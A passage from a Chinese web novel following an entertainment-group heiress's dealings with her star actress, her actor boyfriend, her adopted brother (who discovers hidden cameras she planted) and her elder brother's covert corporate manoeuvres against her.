邱芜澜欣赏她的贴心、聪慧、懂事,更欣喜于她的情绪掌控力。 不管那些照片是从哪里来的,在极度愤怒的情况下,季语薇能顾及大局,凭这一点,就足以得到嘉奖。 邱芜澜不止要奖励她,为了接下来的阶段性工作,她还要激励她、补偿她。 年已经过半,再有半年,宋折凝的竞业协议结束,一定会卷土重来。 集团对宋折凝的离开万分遗憾,董事会因此对她颇有微词。 她需要刺激一下季语薇,拿出比宋折凝在时更好的成绩去向集团交差。 这一过程里,季语薇不可避免的会有些辛苦。 邱芜澜权衡着,推开了自己的收藏室。 房门之后,密密麻麻的人像照片面朝着她。 入户第一眼的橱柜里便是季语薇。 她占据了最显眼也是最多的位置。 邱芜澜站在橱柜前,隔着玻璃门,描摹她首次获得金梅奖的照片。 金梅奖的黑色幕布前,一系纯白长裙的季语薇捧着鲜花奖杯,恬淡欣悦地笑着。 她月钩般的眼里,欲望和野心如蜜液般浓稠得滴落不下。 只是照片,便让邱芜澜尝到了醇美的蜜甜。 她站在这里,与三十多个不同时期的季语薇遥遥对视,不管是十五岁、二十五岁还是现在,季语薇都如一棵枝繁茂盛的柿树,每一年都回报出大量蜜果,从不让她歉收。 邱芜澜有了决断。 她回复了简,圈出了末页上唯一的拍卖品。 高斯酋王国亲王庄园。 诱使华君润发病、弥补宋折凝离开的空缺,这些事都不值得这份重磅谢礼; 但“季语薇”这个人,值得。 “姐姐。” 邱芜澜和简交代完毕,楼下也传来季尧的声音,“饭做好了。” 她走出书房,对今天的晚餐有些好奇。 邱芜澜很瞧不起自己做的菜,但她也确实很会做菜,在她看过的菜谱里,还没有切得那样细碎的金枪鱼大腩。 餐桌上摆着四五只瓷碟,邱芜澜一眼看见了长条盘中的鱼肉卷。 六个小卷,两种外皮,间错摆放着,季尧用米纸卷和炸紫苏叶包裹了那些细碎的鱼肉。 邱芜澜一一尝试。 晶莹剔透的米纸卷口感柔韧,内里除了鱼肉,还有脆爽爆汁的鱼籽。 炸得香脆的紫苏叶卷着绵软的鱼肉,柔软的鱼肉内又藏着一点山根。 绿豆大小的金枪鱼比厚切要细腻,又不似鱼糜那样烂糊,保留了颗粒感,口感丰富立体。 食物足够美味,季尧的目光也足够坦然清澈。 邱芜澜收回了厨房里一闪而过的疑虑。 她反馈:“很好吃。” 季尧弯眸,露出纯然烂漫的笑,“姐姐喜欢就好。” 他的视野里猩红一片,亮红的灯光、血红的桌椅、黑红的外景。 排山倒海的红色中,唯有桌前的邱芜澜散发着皎皎银辉。 第75章 第七十五章 “我们非要来打高尔夫么。” 华君润敲了敲球杆, “你明知道我不擅长贵族运动。” “你需要开阔的景色和适量的运动,又不能过度兴奋。”邱芜澜没有理会他自贬的调侃,“哥哥小时候的首选运动就是高尔夫。” “你呢?”华君润问, “你喜欢么?” 邱芜澜说:“我需要它。很快,你也会需要它的。” 华君润展眉, “我会用心学的,是邱老师亲自教我吗。” 邱芜澜有些意外, “你一点儿也不会?” “难道我长了一张会打高尔夫的脸么?” “不可能,连我都记得你有打高尔夫的戏。” 寻常演员或许会摆拍糊弄,但邱芜澜所认识的华君润自我要求极为苛刻, 越是他不熟悉的领域, 越是谨慎小心, 为了拍十几秒的马戏, 他曾特地去草原, 向当地牧民讨教了一个月。 邱芜澜不信他没有学过高尔夫。 “很早以前的事了, 我确实演过一个用高尔夫球杆的角色。”华君润扬起球杆, 反手抗在肩上。 他屈起一条腿,倾斜重心,懒散地站着。 “又是你。”他挑起眉, 带出一股狂拽的南方口音, “真是倒霉, 在自家球场打个球也能看见你。我说,你这个女人都没有一点自尊心么, 为了勾引我, 居然跟踪到这里当球童。” 邱芜澜沉默地盯着他。 片刻,她扭过头,扑哧笑了出来。 没有忍住。 华君润亦笑, “怎么样,我是不是看起来年轻了十岁?” “是啊,看完之后,连我都重返十年前了。”她说着,瞥了眼手机,对华君润示意,“我去接个电话。” 华君润颔首,让她自便。 打电话来的是邱泽安,邱芜澜回到休息室,听见他告诉自己影视城已竣工的消息。 她和他聊了一会儿,结束时,邱芜澜透过休息室的落地窗,看见在果岭上挥杆击球的华君润。 他果然学会了高尔夫。 仅仅只是为了那样一个浮夸、中二的角色,为了那一场没有观众会在意高尔夫的俗套爱情戏,他练出了老手的技巧性。 同样不够富裕的出身,华君润远比韩尘霄带得出去。 和他相处时,邱芜澜轻松无比。 她预设了交往初期,对象需要适应期,由此偏爱年幼者:笨拙的男孩总比笨拙的男人顺眼一些。 可要是有人能够迅速上手、不需要她的包容和耐心,那她也不介意对方的年龄。 看见球滚入五杆洞内,邱芜澜确信,和华君润在一起,自己不必时刻充当引导者的身份。 她从休息室抽了条毛巾,乘着高尔夫球车去果岭找华君润。 “是要紧的事么?”看见她打完电话回来,华君润问候了一声。 邱芜澜摇头,“已经结束了。” 她挽起毛巾,为他拭汗,“运动了下,心情如何?” 华君润偏头,吻上她拿毛巾的手。 他的唇角贴着她无名指上的血橙钻,和颜悦色,“非常不错。” 邱芜澜并不急于做些什么,她需要一个健康、稳定的伴侣,此时此刻,首要任务是为华君润治病。 影视城建成,意味着华君润即将进组。 她替他规划好了未来的道路,这几个月是他近期唯一修生养息的机会,她要力保他情绪稳定。 况且,目下还有另一个人更需要邱芜澜安抚。 历经三周,那件拍卖品送到了邱芜澜手中。 她查看了季语薇的排程,从高尔夫球场回来的当晚,前往了季语薇的白色别墅。 迎接她的,是满室酒气。 客厅歪倒着三四支酒瓶,面色酡红的女人躺在沙发上,听见开门声,醉眼朦胧地回眸。 目光交接,她吃吃发笑。 “瞧瞧,是谁来了——”浸过酒的嗓音愈发醇润,她自己醉了,便要听众也为她微醺。 “破镜重圆、蜜里调油的时候,难为你还能想起我来。” 邱芜澜走至沙发背后,戳上她泛红的脸颊。 “才刚回来,怎么就喝成这样。” 季语薇闭眸,反手覆上邱芜澜的手。 她的食指触碰到她无名指上的钻戒,一圈又一圈地在戒面上揉圈打转。 微凉的丝绸贴上了季语薇另一侧的脸,她睁眼,看见一本缎面封皮的证书贴在她脸旁。 她困倦接过,兴味阑珊地打开。 看清里面的内容后,季语薇瞬间清醒了过来。 她坐直身体,讶异地扭身回望邱芜澜。 邱芜澜回以浅笑。 季语薇蜷起腿,用证书遮住下半张脸,露出一双遮不住喜悦的眸子。 仿佛是收到了圣诞惊喜礼物的小女孩,那双美眸亮若星辰,剔透似晶。 邱芜澜俯身,为这水晶般的眼眸垂下亲吻。 “做得很好。”她在颤抖的睫翼上吐字,“语薇,你从来不让我失望。” 庄园证书之下透出猫咪般的呜咽。 季语薇倏尔转身跪在沙发上,一手握着那价值数亿的本子,一手热切地勾住邱芜澜,在她耳后、颈侧舔咬啄吻。 “芜澜…我的芜澜,”那空灵的声音被喜悦塞满,“我好喜欢。” 邱芜澜抬手,五指插.入她的发中。 这世上少有比季语薇更完美的试验田,她的反应清晰分明,对欲望诚实坦然:投入十块,就显示十块的数额;投入一百,就显示一百块。 明朗的需求、积极的反馈,季语薇镜子般的特质,令邱芜澜热衷于在她身上进行商业试验。 她是她的缪斯,是她的魔镜,也是她唯一的挚友。 那六点八亿的庄园,价值不在华君润、宋折凝,而在季语薇本身。 季语薇亲吻着那本缎面证书,“芜澜,还记得么……第一次去邱家时,你看出了我的向往,对我说,只要我足够努力,早晚也能拥有一栋这样的庄园。” “我以为你只是随口一提,连我自己都淡忘了这个梦。” 她双颊绯红,沾染了酒香,仿若玫瑰吐露,笑靥含泣,“芜澜…我的芜澜,我永远爱你。” 邱芜澜揩去她眼角的泪雾。 “我想在那里为你庆祝三十岁的生日。” “但是语薇,”她抵着她的额,呢喃细语,“那也是宋折凝解除竞业协议的一周年。我不希望那么重要的日子上,还要不停地处理工作。” 季语薇仰头,细细感受她的触碰,“当然,我不会允许你在我生日时惦记着别人。” “上半年结束了,”邱芜澜珍爱地捧起了她的野心,“该发表新歌了。” 她衔着宝石的夜莺、她泣珠的塞壬,该为她鸣唱了。 …… “呃…嗬……” 窗帘紧闭的卧室内,季尧捂着耳朵蒙在被子下。 他关闭了所有门窗,炎炎夏季中缩在棉被中,尽管如此,窗外的蝉鸣、行人鞋底摩擦地面,以及过往车辆引擎转动的声音依旧缠扰着他。 窸窸窣窣的声音如虫巢里的虫子,成千上万的足肢爬过湿土、攀过同类的外骨骼,无数的口器切割着腐叶……这些声音被放大数十倍,令季尧不得片刻安宁。 姐姐…… 姐姐…… 淡淡的蔷薇腐臭从他口鼻里反出,即便闭上眼,暗红的光影亦未放过季尧。 影视城竣工,邱芜澜前往郸城视察。 往常她出差,季尧不是没有过身体不适,但这是第一次,邱芜澜走了不过半日,他便头痛得生不如死。 布洛芬吞了三粒,已超过用药上限,却压不住半点疼痛。 咔嚓咔嚓…… 有别于虫音的细微声音传进季尧的耳朵,他僵着身子,侧耳聆听声音的来源。 咔嚓、咔嚓—— 不是脚步声、不是隔壁空调挂机的运转声,而是一种类似于调节相机焦距时微电子的机括声。 他此前从未听过这种声音。 季尧掀开被子,站在床上,睁大眼睛上下张望。 黑暗之中,他目光如炬,搜寻过每一寸角落。 咔嚓…… 骤然之间,他猛地盯向了床头摆放的粘土人。 那是邱芜澜从C国回来后,送给他的周边。 季尧将它拿起,巴掌大的Q版粘土人软萌地笑着。 他直勾勾盯着它,神经质地和它对视。 咔嚓…… 他扒住了粘土人的脸,掰开半个脑袋。 咔嚓…咔嚓…… 破碎的黏土里,两只蚕豆大小的微型摄像头正在运作着。 它们植根于粘土人的头颅,微小的镜头藏于耳内,通过两边耳道监测房间的情形。 季尧怔忪着。 他双手沾满了黏土碎块,只剩半个脑袋的小人半边脸可爱地甜笑,另外半边支离破碎,红外感应器在大脑里持续亮着。 他盯着那微小的镜头,两分钟后,窗外的蝉鸣、行人鞋底摩擦地面,以及过往车辆引擎转动的声音如潮退去。 世界恢复安宁,季尧紧握着碎裂的粘土人,像是黑暗中握住了一只打火机。 这点微弱的光亮短暂地驱散了沉诡的红色,可它太过微弱,犹如风中残烛,摇摇欲坠,不足以让人安心。 他需要更多的光源。 季尧将粘土人放回原位,环顾房间、走出房门,寻星一般在空荡的别墅内探寻着。 他一路找寻,在暗沉至黑的红夜里陆续发现了愈多的星。 一颗接着一颗,八颗银星散落在这栋房子内,照相呼应,围绕在他身侧。 就这着点点星光,季尧终于得以安枕。 恐惧所致的冷汗干凝了,他疲惫地卧在床上,面朝破碎的可爱黏土手办,对着它头颅里的两点红光沉沉睡去。 第76章 第七十六章 这是华君润和邱芜澜复合以来, 季尧第一次安寝。 他知道了至少有八个监控摄像时刻对准了他——就算华君润卷土重来,姐姐也没有忘了他。 她还是一样关注他,甚至比从前更加密切。 这段时间他被幻觉和幻听折腾得筋疲力尽, 甫一放松立刻沉眠。 一觉醒来,他坐在床上, 望着碎了半边脑袋的粘土人,慢慢整理思绪。 被姐姐重视固然是好事, 但深究她安装监控的原因,季尧不得不采取应对措施。 他拉开窗帘,让酷热的阳光涌入房内, 把别墅照得透亮;随后进入浴室洗漱, 叼着一个面包去了书房, 处理邱芜澜交给他的数据。 相较于前两天, 季尧视野内的红幕褪了三个度, 那些烦心的噪音也不再出现, 可视觉又出现了异变, 仿佛被抽拉拔高,变成了第三视点。 世界被划上了经纬网格线,他的眼睛对着电脑, 却能“看见”房内房外的那八个监控点。 距离他最近的两个, 一个在身后的展览柜中, 嵌在钢铁侠胸口的反应堆,自正后方监视他的电脑屏幕; 另一个在前侧方的立体书脊内, 收录季尧的面目表情。 他被前后两道监控锁定, 整个书房没有任何死角,全然在邱芜澜的注视之下。 那诡异而压抑的红色被邱芜澜绝对的“注视”驱逐殆尽。 待在安全的房间里,季尧得以安心进食。 他又拆了袋三明治, 盘腿坐在椅子上,让前侧方的摄像头完整记录下他进食的画面。 季尧并非叛逆期的熊孩子,他没有故意不肯吃饭,只是每当邱芜澜不在时,他就头疼恶心、难以控制身体。 有了摄像头的监控——在姐姐关切的爱视下,他确信自己没有被抛弃,身体便也正常运行。 这是邱芜澜第二次察看季尧别墅里的监控。 卧室的回放记录里出现了短暂异常,有三秒左右的时间里,季尧近距离盯着床头的摄像头,接着又把它放回了原位。 邱芜澜了然,他已经发现了。 这也是意料中事,他在她身边长大,上过她所学的大部分课程,自然也通过了反侦察和排查监控设备的考核。 他在摄像头里睡觉、进食、运动、工作,某些时刻过于懒散,但整体上没有异常。 邱芜澜等着季尧直接或间接的兴师问罪,然而直到她从郸城回去,季尧都没有任何反应。 “姐姐!”他一如既然地灿笑迎接她。 这笑容令邱芜澜眉眼和缓,她身后的简知趣道,“那我就先回去了,您好好休息。” 简的余光瞥向隔壁季尧的别墅,视线交汇,邱芜澜颔首默许了简的行动。 既然监控已经暴露,就没有继续的必要了。 她把季尧留在自己家里,让简去回收那些摄像头。 简正欲离开,别墅院外传来温和的问候:“芜澜,你回来了。” 邱芜澜回首,看见一身休闲衣的华君润站在院外。 “怎么过来了。”她问。 “来接你。”华君润温声道,“来履行男朋友的义务。” 邱芜澜折身走向他,隔着铁艺门说话,“你就空手来么。” “接风礼物放在了我家,”华君润弯眸,“赏脸么。” “先告诉我是什么,我考虑考虑。” 华君润于铁艺门栏的间隙凑近她,神秘低语:“一大把玫瑰。” 邱芜澜指尖掩唇,“天呐,太浪漫了。我就不去了。” “嗯……”华君润思忖,“还有我种的小番茄。它们长得比玫瑰还娇艳,特别适合拌糖。” 季尧沉沉地盯着华君润,他贴着院门,站在了这块私人领地的边缘,得寸进尺地向内试探。 “阿尧,一起去吧。”邱芜澜回首。 季尧呼吸一禀,掩住了暗沉的眸光,换上明媚的笑脸,“姐姐好不容易才回来,我怎么能坏了君润哥的好事。” 邱芜澜正欲开口,面前的华君润已扬唇冲季尧颔首:“谢了。” 他大方、自然地接受了季尧的客气,语气里带着心领神会的感谢。 邱芜澜本担心冷落了季尧,见两个男人已达成一致,便也不再推托。 她拉开门,叮嘱季尧,“不想做饭了就过来。” “好~”季尧乖乖应了。 他目送两人并肩离去,脸上的笑意慢慢消散。 华君润离开秋叶后落魄了几年,季尧曾听说有人在直播和综艺上临时更改台词,故意给华君润挖坑。 然而至今为止,华君润的职业履历上未曾出现一笔演出事故。 田烨、韩尘霄等流不必多说,方才那句话,换作“小君润”来接,多少也会低头退让。 所有人都知道,邱芜澜重视家人,尤其宠爱季尧。没有哪个新晋男友敢在邱芜澜面前和季尧争先,当年的华君润也没有那么不知天高地厚。 他果然不是六年前那个傻小子了,现在的华君润,能轻易将姐姐从他身边拐走。 季尧敛眸。 强烈的阳光鲜红刺目,好在,他还有一座挂满星星的屋子可以作为喘息之处。 简眼见邱芜澜被华君润带走,没有人牵制住季尧,她被迫搁置了回收摄像头的计划。 既然邱芜澜没有表态,大概这件事也不算紧急,可以晚点再办。 邱芜澜吃的果蔬谷肉向来由附近的农场直升机冷链直送,从采摘、屠杀到制成菜品,通常不超过一小时。 新鲜的食物和菜场超市里卖的是截然不同两种味道,她吃惯了鲜货,竟依旧被华君润的小番茄所打动。 “阳台果蔬一般都不好吃,”邱芜澜用银叉扒拉着拌了糖粉的番茄,“你是怎么种的?” 他在普通的细糖里掺了一点葡萄糖,吃起来凉沁沁的。 华君润笑道,“倾注了爱意吧。” “真感人。”邱芜澜淡淡感慨,叉起半颗放入口中。 “我没有敷衍你,”华君润比喻,“就像语薇——你有那么多艺人,她是长得最好的那株,这难道是因为你故意克扣了其他艺人的资源,那些艺人才不如她的?” 邱芜澜咀嚼着,酸甜的汁水在她齿间爆开,华君润倾身,吻上她的唇角,“是你对她怀有不一般的感情,自然就会花费不一般的心思。” “我应该不至于吃个沙拉都弄脏嘴角。”邱芜澜问。 “我没有在清理,”华君润得寸进尺地含吻她的唇,“是想分一杯羹。” 邱芜澜微微仰头,避开了他的深入。 她叉起半颗番茄横在彼此唇前,“医生要你静养。” 华君润低头,吞下了那颗番茄。 “可我想你……”他迷蒙地追逐她,“芜澜,我们已经很久没有亲近了。” 邱芜澜瞌眸,“你明知道我控制不住。” “你出差太久了,”他伸出双手,五指插入她的鬓发,轻缓地按摩揉压,用温柔如云的嗓音呼唤她,“工作辛苦了。芜澜,你需要放松。” 邱芜澜闭上眼,他的按摩、他的声音穿过头骨,仿佛抚慰着她的大脑,引起浸入灵魂的酥麻。 “我想起来了,”她在这专业而熟稔的动作间开口,“《黑暗》。” 这一语调、这样的按摩,正是《黑暗》男主角让他的患者卸下防备的手段。 华君润轻笑。 磁性的笑声如丝般围绕着邱芜澜。 《黑暗》,是华君润夺得视帝的作品。 二十六集的中短剧斩获大奖无数,他扮演了男主,一个心理医生、一个连环杀人魔。 他仁慈善良、嫉恶如仇,极具同理心,与自己的每一个患者感同身受。 同时,他也残忍疯狂,为解救深陷泥淖的患者们,杀死了那些让他们痛苦不堪的始作俑者。 他阉割了强.奸犯; 劈碎了虐待女儿的母亲的手脚; 割下了花言巧语骗取老人全部家产的骗子的舌头; 吊死了逼迫孩子不断学习的父母…… 他默默帮助着自己的患者们,可人们却曲解了他的“正义之举”,深受误解的男主痛苦不堪,向自己的女友献上了一份求婚礼物—— 她父母和弟弟的食管。 他惩罚了不停吸女友血的家人,他不奢求那些患者能感谢他,但至少他的爱人应该理解他。 走投无路、困苦不堪的男主将女友视为最后的救赎,可看见三条鲜血淋漓的食管摆在玫瑰花礼盒里,女主吓得转头报.警。 悲伤绝望的男主就此从高楼坠下。 邱芜澜掀开眼睑,她从舒服到酥骨的按摩中退出,转身拿起了自己的手包。 她取出自己办公时常用的防蓝光镜,戴去华君润脸上。 《黑暗》的男主角傅医生是戴眼镜的,他戴的是无框镜,此刻佩戴了邱芜澜的银丝眼镜,华君润亦沾染上了她的清冷。 也许是因为眼镜不同,也许是因为他此刻的眼神太过缱绻,邱芜澜为他扶正眼镜,调试了几个角度,也还是不太像《黑暗》里的男主角。 他像是邱芜澜的男主。 邱芜澜放弃了眼镜,贴近了他,同他呢喃情语:“我看了那部剧。你猜,我看的时候都在想什么。” 那是华君润离开邱芜澜后拍摄的剧,他顺着她的话往下问:“在想什么?” “真是斯文败类,千刀万剐也不为过。”邱芜澜缠上他的头颈,“可他那样纯粹、天资聪慧,如果我是女主,我一定不会报警,我只需要他跪下,痛哭流涕地向我一个人忏悔谢罪。” “唔…”华君润蓦地咬唇,银丝镜框下,他的双颊潮红发热。 邱芜澜的膝盖触到了微凉的湿意。 她微讶地看了一会儿,继而展颜,开心满意。 “去把脏衣服换了吧,”她和缓下来,对那碗小番茄念念不忘,“给我点时间,让我把你的‘爱意’吃完。” 华君润红着脸缩在沙发里,捱过那一阵刺激后,踉跄起身,往衣帽间走去。 邱芜澜叉起了小番茄,一颗接一颗地认真品味。 她吃完最后一颗,华君润亦从衣帽间走出。 在看见他的模样时,邱芜澜忍不住笑了。 他换上了黑色的衬衫、西裤,套上了冷白的长褂,将当年拍摄的戏服穿了出来,戴的却还是她的眼镜。 男人站在几尺之外,透过银丝镜俯瞰邱芜澜,疏离戒备。 “你真的会因为惜才,就原谅一个连环杀人犯?” 邱芜澜失笑,“当然不会,我不会在身边留有一颗定时炸.弹。” 华君润眸色黯淡了下去。 这一刻,他说不出来的失望,不知是因为太过深入傅医生的角色,替他感到难过,还是联想到自己的焦虑症,物伤其类。 邱芜澜将沙拉碗搁去一旁,冲他抬手。 华君润顺从地俯身,让她不费力地抚摸自己的脸庞。 “我的宝贝,你太善良了。”她安慰,“那只是个虚构的角色而已。” 华君润为那称呼感到羞涩,又为她的后半句感到哀伤,“我知道……” 邱芜澜无奈,又觉得可爱。 她从桌上抽出了一支玫瑰。 华君润确实为她准备了玫瑰花束,盛大的一捧,她抽出一支,抵上了白大褂的胸袋。 “如果你真的那么惋惜……好吧,” 她冲他微笑,“傅医生,谢谢你为我做的那一切。我深受感动,向你表白。” 这台词太过官方,情绪也过于冷静。 可这生涩的表演,令华君润热泪盈眶、情难自己——为终于有人对傅医生说了一句谢谢,也为邱芜澜对华君润的纵容体贴。 华君润演活了很多角色,傅医生是最突出的一个。 因为人设复杂、情感多变,他下了极大的功夫钻研,然而他的种种努力,最后却被盖上了“精神不正常”的印章。 “你们有没有觉得,华君润的眼神真的有点可怕” “该不会是本色出演吧?” “本色出演就夸张了,我有点担心他是走不出戏了。” “以前也有过妄想症的演员,以为自己真的是那个角色了。华君润的状态好诡异啊,他有去看医生吗?” “他发的那个小作文什么意思?怎么会有人同情洗白正义犯啊!” “天呐哥,你要不要看看自己在说什么?” 和大众一样,华君润看得出,邱芜澜并不认同男主角的做法,可她没有指责他三观不正、担忧他是否被角色同化。 她配合着他,赐予了这个荒诞可悲的角色一个圆满的结局。 即便是敷衍的谎言,这份慈悲,也令华君润潸然泪下。 多年之前,他便认为自己和邱芜澜的分手是必然结局。 他们的成长环境太过不同、对世界的理解更是天差地别,如此巨大的差异下产生争吵必不可免,从一开始,他们就该毫无交集。 既然如此,自己为何会爱她入骨? 华君润双手接过那支玫瑰。 他想,就是因为这种时刻。 她未必理解他,可她深谙人心,知道华君润这个人想要的是什么。 邱芜澜毁坏了所有玫瑰:用花瓣塞满他的嘴;让他跪在地上,像条狗一样,毫无尊严地从满嘴玫瑰里留下涎水。 她自后扶着他的腰肢,让他涕泗横流地将广口瓶里的花瓣捣烂。 他献给她的玫瑰,被她漫不经心地撕碎扯下,可她始终记得保留送给傅医生的那一支。 混乱之后,华君润精疲力竭,半梦半醒间,他看见她离开房间,回来时,手上里多出一只天鹅颈瓶。 她弯腰捡起了掉在地上的那支玫瑰,将它插.入灌有清水的瓶子里,摆在华君润的床头,悉心抚平它的花瓣枝叶。 正是这种时刻,让华君润对邱芜澜着迷不已。 他疲惫不堪地阖眼睡去,沉沦在浓郁的玫瑰香梦里。 第77章 第七十七章 影视城竣工, 《红丝鸳》的开机提上了日程。 演员们陆续进组学习,两个主演最后到场。 这个夏天,季语薇忙得不可开交, 她在Q1Q2创下了惊人的业绩,到了Q3又再创高峰, 继华君润、宋折凝两人之后,成为了秋叶第三位突破记录的神话。 这一年, 秋叶的力捧之下,商场、广场、各大媒体铺天盖地都是季语薇的身影。 季语薇隔三差五的热搜让路人有些疲乏,却让只看数据的投资方们大为欣赏。 她俨然成为了国内最热门的女星, 一时之间风头无两。 Q3尾月, 季语薇进入了剧组拍摄《红丝鸳》。 这不代表她会停下手头的其他工作, 按照邱芜澜的要求, 整个剧组所有场景、人员全部配合季语薇的行程, 好让她空出时间做其他单子。 另一边, 法院下达了宋折凝的一审结果, 要求宋折凝停止演绎活动,提交违约金、赔付秋叶娱乐损失共3.1亿。 “姐,一审出结果了。” 芳若将法院的判决转告给宋折凝。 过去的时代, 一部手机可以使用十年之久, 在秋叶集团涌入市场后, 手机的平均换代时间压缩到了二十一个月。 如今,他们又涌向娱乐市场, 将这种高速到病态的更新迭代速度如病毒一般, 注入了本就快节奏的娱乐圈里。 不到九个月,曾经炙手可热的双栖影后在国内近乎销声匿迹。 芳若来送审判书时,宋折凝正坐在化妆椅前不断刷手机, 对她说的话置若罔闻。 芳若习惯了她这幅模样。 开庭后,宋折凝便时不时关注社交媒体。以前的她不屑网媒,声称网络上的东西看多了会让自己浮躁;现在却时时刻刻都在搜和自己有关的消息。 宋折凝在娱乐圈混了二十年,当然知道人们遗忘的速度有多快。 可是这才不过半年——距离她上一次热搜才堪堪半年,怎么会一点热度都没有了呢? 她是没有再出席活动了,但和秋叶开庭、下达判决这样的大新闻,怎么才在热搜上待了几个小时就看不见了? “你去发表声明,”宋折凝猛地扭头,对芳若下令,“就说我不服判决,要提起二审!” “好的,这个自然。”他们对待秋叶的要诀就一个“拖”字,一审已经拖了九个月,等二审结束,宋折凝的竞业期也就过了。 “宋姐,还有个事。”芳若挑了个好消息来缓解案情,“《蓝海》的初剪已经完成了。” 宋折凝抬头,“这么快!” “是的,”芳若笑道,“拍《蓝海》的过程真的蛮顺利的,第十八场的那个场地,本地的剧组都很难约上,咱们正好赶上空儿了。” “这倒是,”宋折凝虽然没有当过导演,可拍了十几年电影,“我拍了那么久电影,临时出意外的太多了,真没有哪一次像咱们这么顺利的。” “是个好兆头哦宋姐。” “好好好,”宋折凝合掌,“叫上副导、阿sa他们几个,明天一起去看看,初剪结束了,宣传就可以跟上了。” “哎,”她笑叹着,佯装不高兴道,“每一环都比预期的交期要早,这样提前太多了,距离除夕档还有小半年呢。” “那不然元旦档上?”芳若笑着附和,“反正元旦的时候,您的竞业期也结束了。” “要上就上最好的档期。”宋折凝摆手,“得了,电影我不用担心了,你去把二审公告发一下。” “好嘞宋姐。” 电影的进展让宋折凝和缓了一会儿,她入睡前又刷了遍网媒。 芳若发出不服判决的公告已经三个小时了,现在,她的相关词条挂在了热一。 宋折凝终于是舒心了。 不管网民的评论是好是坏,只要热度还在,她就没有被人遗忘。 对着词条前的热度排名,她心里刚舒坦了点,旋即又不是滋味起来。 什么时候,她宋折凝竟然要靠这种事情来维持热度……真是丢脸丢到姥姥家去了。 连ASHS里业绩垫底杨芸都时不时在热搜上冒头,要不是邱芜澜那个卸磨杀驴的女人,她怎么会变得这般可悲。 她对秋叶付出了所有青春,对邱芜澜更是当做亲妹妹对待。 离开秋叶后,宋折凝不是没有过怀疑,她想,也许真的是她误会了邱芜澜,可笑半年过去,邱芜澜没有约见她一次。 她尽心尽力辅佐她十年! 那个冷血的女人竟压根不在乎她为什么翻脸,她丝毫不挽留她,对她也无话可说,因为那些消息全都是真的—— 她早就看她不顺眼,欲除之而后快了。 邱芜澜、秋叶……宋折凝握紧手机,长久未操作的屏幕熄灭,模糊的映出女人的五官。 小丫头片子,真以为自己羽翼丰满、不用把她放在眼里了。 等竞业期结束,她要让她知道,秋叶娱乐到底是谁撑起来的! 到那时,不用她动手,秋叶集团的董事会自然不会放过邱芜澜。 …… “邱总,宋折凝那边宣布要提起二诉了。” “还不到三个小时,回应得这么快?” “一审的词条不断下滑,半小时前已经掉出了二十。”钱秘书汇报道,“宋折凝大约是觉得没面子。” 男人穿衣动作一顿,下一刻,他将衬衫扣上。 戴着医用手套的女佣递上了领带。 邱承澜接过,他望着镜子中自己的五官,像是透过这张脸看向另外的某人。 “只有半小时……” 这别有深意的喃喃落进钱秘书耳中,他恭贺道,“芜澜小姐可真是利落啊。” “这利落是杀伐果决,还是在遮掩藏匿?”邱承澜系着领带,面无波澜。 钱秘书笑意微收,“这……” “再去帮宋折凝一把。”邱承澜离开镜前,“接下来三天,保住她的热度。” 钱秘书欲言又止。 邱承澜睨他,“想说什么。” “不,没什么……”钱秘书叹息道,“只是担心芜澜小姐查到点什么,会伤心难过。” 邱承澜半垂眼睑,调整着喉前的领带结。 “最近几次见面,你觉得她状态如何?”他问。 听到这话,钱秘书脑中浮现出了邱芜澜神态表情。 那样冷淡、优秀的财阀继承者,唯独会对邱承澜展露少女般的依恋。 钱秘书每次见邱芜澜,都会被她用明亮的眼神洗礼,听见一句满怀期待的“哥哥来了?” 想到那样明媚的邱芜澜,他不由流露出慈爱,“芜澜小姐一如既往的崇敬您。” “她不是我的附庸者,我不需要她的崇敬,只需要她的理智和信任。” 钱秘书无奈,却无法反驳。 他也清楚,邱芜澜在涉及邱承澜相关的事情上过于盲目了。 不止是他,许多邱家人都发现了这一点。 盲目绝不是好事,多年来,从邱岸山到邱老太太,乃至邱承澜本人都向邱芜澜提起过,可邱芜澜不以为意,从不把这些话放进心里。 观念往往不是通过谈话就能改变的,比起空口白话的语言,切身经历才能彻底扭转一个人的思想。 如果口头劝说不足以让邱芜澜意识到自己的缺点,那就只能通过实战教训,让她改掉这个毛病。 “我是怕芜澜小姐误会您,兄妹之间产生隔阂。”钱秘书委婉道。 “有何不可。”邱承澜大步先前走去。 适当的竞争才能淘汰垃圾、促进进步。 一个将他视作对手、寻找他失误和漏洞的竞争者,远比一个无脑盲从他的女人有用。 这一代的邱家继承者里,多数人和泽安一样,优秀得平庸。 一根栋梁再是粗壮,也无法支撑起高楼大厦。邱承澜需要另一根独立的支柱,与他分摊重量。 他深谙自己傲慢的本性,除了少部分权威、尖锐和至亲,他不屑于其他意见反驳。 他听不进建议,他也不是神明,作出的决策不可能百分百永远准确。 权威、尖锐们固然拥有智慧,可受限于身份和阶层,他们未必看的全面长久,也未必会为了集团发展苦口婆心、一而再再而三地顶撞他。 邱承澜必须在自己还算清醒的时候,竖立起能牵制、抗衡自己的实权者。 “盯好宋折凝,她和电影需要什么,全力满足。” 钱秘书颔首,“好的,我会叮嘱芳若。” “芳若——”这个名字又一次出现在耳边,邱承澜沉吟,“算起来,我只见过她两面。” 钱秘书闻弦知雅意,“您放心,这个人很靠谱。” 邱承澜意有所指道,“宋折凝对身边的人并不小气。” “可也没有那么大方,能给的也仅限于物质。”钱秘书说,“我们对芳若做过完整的背调,明星助理这个岗位并不适合她的家庭情况,她不会想在这个职位上久待的。” 他如此保证,邱承澜便不再过多追问了。 “还有一件事,邱总……” 递交了ASHS的Q4规划案后,简吞吞吐吐道,“邱总,宋折凝的热度回升了。云书那边拒绝了我们。” 邱芜澜略有些诧异:“云书拒绝我们?为了华映?” 简摇头,“他们有保密协议,不肯透露。” 邱芜澜拿起手机,各大社交媒体前三都被宋折凝二审的消息包揽。 她凝神蹙眉,良久后开口,“知道了。” “需要再去沟通一下么?”简询问。 “……不了。”邱芜澜道,“就这样吧。” 简担忧道,“小姐,您最近身体还好么。” 邱芜澜明白她的用意,“我很好,你不用担心,放心去参加孙子的婚礼吧。” “我还是晚两天…”“没什么事比家人更重要。”邱芜澜打断她。 简深谙邱芜澜的家族理念,应承了这份好意,“您注意休息,别太累了,我会早点回来。” 邱芜澜放下手机,靠在椅背,望向落地窗外繁荣的CBD。 云书不会为了华映拒绝秋叶,能让他们违约妥协的,只会是比秋叶娱乐、比她更厉害的角色。 「姐姐,宋折凝只是个戏子。如果不是华映内部混乱到了崩溃,那他们绝没有理由攻击秋叶。」 哥哥…… 邱芜澜抿唇,他是在不满她封锁宋折凝么…… 